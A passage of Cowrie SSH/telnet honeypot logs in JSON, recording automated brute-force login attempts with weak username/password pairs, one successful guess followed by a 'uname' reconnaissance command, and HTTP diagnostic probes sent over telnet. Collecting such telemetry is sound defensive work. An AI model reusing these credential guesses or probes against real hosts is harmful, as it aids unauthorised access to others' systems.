oly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:03.700563Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:03.949488Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:04.167995Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:04.171577Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:04.257720Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:04.265267Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56818,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e6311df591","protocol":"ssh","message":"New connection: 192.109.200.237:56818 (159.203.135.109:22) [session: b4e6311df591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:06.829840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:06.836349Z","src_ip":"192.109.200.237","session":"b4e6311df591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:06.920408Z","src_ip":"192.109.200.237","session":"b4e6311df591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:07.168968Z","src_ip":"192.109.200.237","session":"b4e6311df591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:08.253838Z","src_ip":"192.109.200.237","session":"b4e6311df591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56834,"dst_ip":"159.203.135.109","dst_port":22,"session":"266c832fa443","protocol":"ssh","message":"New connection: 192.109.200.237:56834 (159.203.135.109:22) [session: 266c832fa443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:10.013223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:10.018774Z","src_ip":"192.109.200.237","session":"266c832fa443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:10.107285Z","src_ip":"192.109.200.237","session":"266c832fa443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:10.537053Z","src_ip":"192.109.200.237","session":"266c832fa443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:11.622870Z","src_ip":"192.109.200.237","session":"266c832fa443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42786,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99c5b9a24ff","protocol":"ssh","message":"New connection: 192.109.200.237:42786 (159.203.135.109:22) [session: c99c5b9a24ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:13.356404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:13.360995Z","src_ip":"192.109.200.237","session":"c99c5b9a24ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:13.442763Z","src_ip":"192.109.200.237","session":"c99c5b9a24ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:13.688036Z","src_ip":"192.109.200.237","session":"c99c5b9a24ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:14.775000Z","src_ip":"192.109.200.237","session":"c99c5b9a24ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42806,"dst_ip":"159.203.135.109","dst_port":22,"session":"9306bd0fda73","protocol":"ssh","message":"New connection: 192.109.200.237:42806 (159.203.135.109:22) [session: 9306bd0fda73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:16.437124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:16.441801Z","src_ip":"192.109.200.237","session":"9306bd0fda73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:16.560249Z","src_ip":"192.109.200.237","session":"9306bd0fda73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:16.808403Z","src_ip":"192.109.200.237","session":"9306bd0fda73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:17.892844Z","src_ip":"192.109.200.237","session":"9306bd0fda73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"56d4048f5002","protocol":"ssh","message":"New connection: 192.109.200.237:42826 (159.203.135.109:22) [session: 56d4048f5002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:19.559394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:19.564809Z","src_ip":"192.109.200.237","session":"56d4048f5002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:19.648031Z","src_ip":"192.109.200.237","session":"56d4048f5002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:19.895836Z","src_ip":"192.109.200.237","session":"56d4048f5002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.70.233","src_port":42064,"dst_ip":"10.17.0.5","dst_port":23,"session":"11be071d27db","protocol":"telnet","message":"New connection: 165.22.70.233:42064 (10.17.0.5:23) [session: 11be071d27db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.606118Z"}
{"eventid":"cowrie.login.failed","username":"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.611154Z","src_ip":"165.22.70.233","session":"11be071d27db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.615059Z","src_ip":"165.22.70.233","session":"11be071d27db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09771013259887695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.703731Z","src_ip":"165.22.70.233","session":"11be071d27db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.70.233","src_port":42080,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ede99c3b36","protocol":"telnet","message":"New connection: 165.22.70.233:42080 (10.17.0.5:23) [session: 31ede99c3b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.788368Z"}
{"eventid":"cowrie.login.failed","username":"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.794266Z","src_ip":"165.22.70.233","session":"31ede99c3b36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.798279Z","src_ip":"165.22.70.233","session":"31ede99c3b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0973362922668457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:20.885571Z","src_ip":"165.22.70.233","session":"31ede99c3b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:21.009168Z","src_ip":"192.109.200.237","session":"56d4048f5002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42476,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e59c436f50","protocol":"ssh","message":"New connection: 192.109.200.237:42476 (159.203.135.109:22) [session: 25e59c436f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:22.661637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:22.665355Z","src_ip":"192.109.200.237","session":"25e59c436f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:22.746887Z","src_ip":"192.109.200.237","session":"25e59c436f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:22.992785Z","src_ip":"192.109.200.237","session":"25e59c436f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:24.078951Z","src_ip":"192.109.200.237","session":"25e59c436f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.197.191.195","src_port":56071,"dst_ip":"159.203.135.109","dst_port":23,"session":"df19a6adfecf","protocol":"telnet","message":"New connection: 109.197.191.195:56071 (159.203.135.109:23) [session: df19a6adfecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:24.860083Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42484,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc43980706b2","protocol":"ssh","message":"New connection: 192.109.200.237:42484 (159.203.135.109:22) [session: fc43980706b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:25.735420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:25.740632Z","src_ip":"192.109.200.237","session":"fc43980706b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 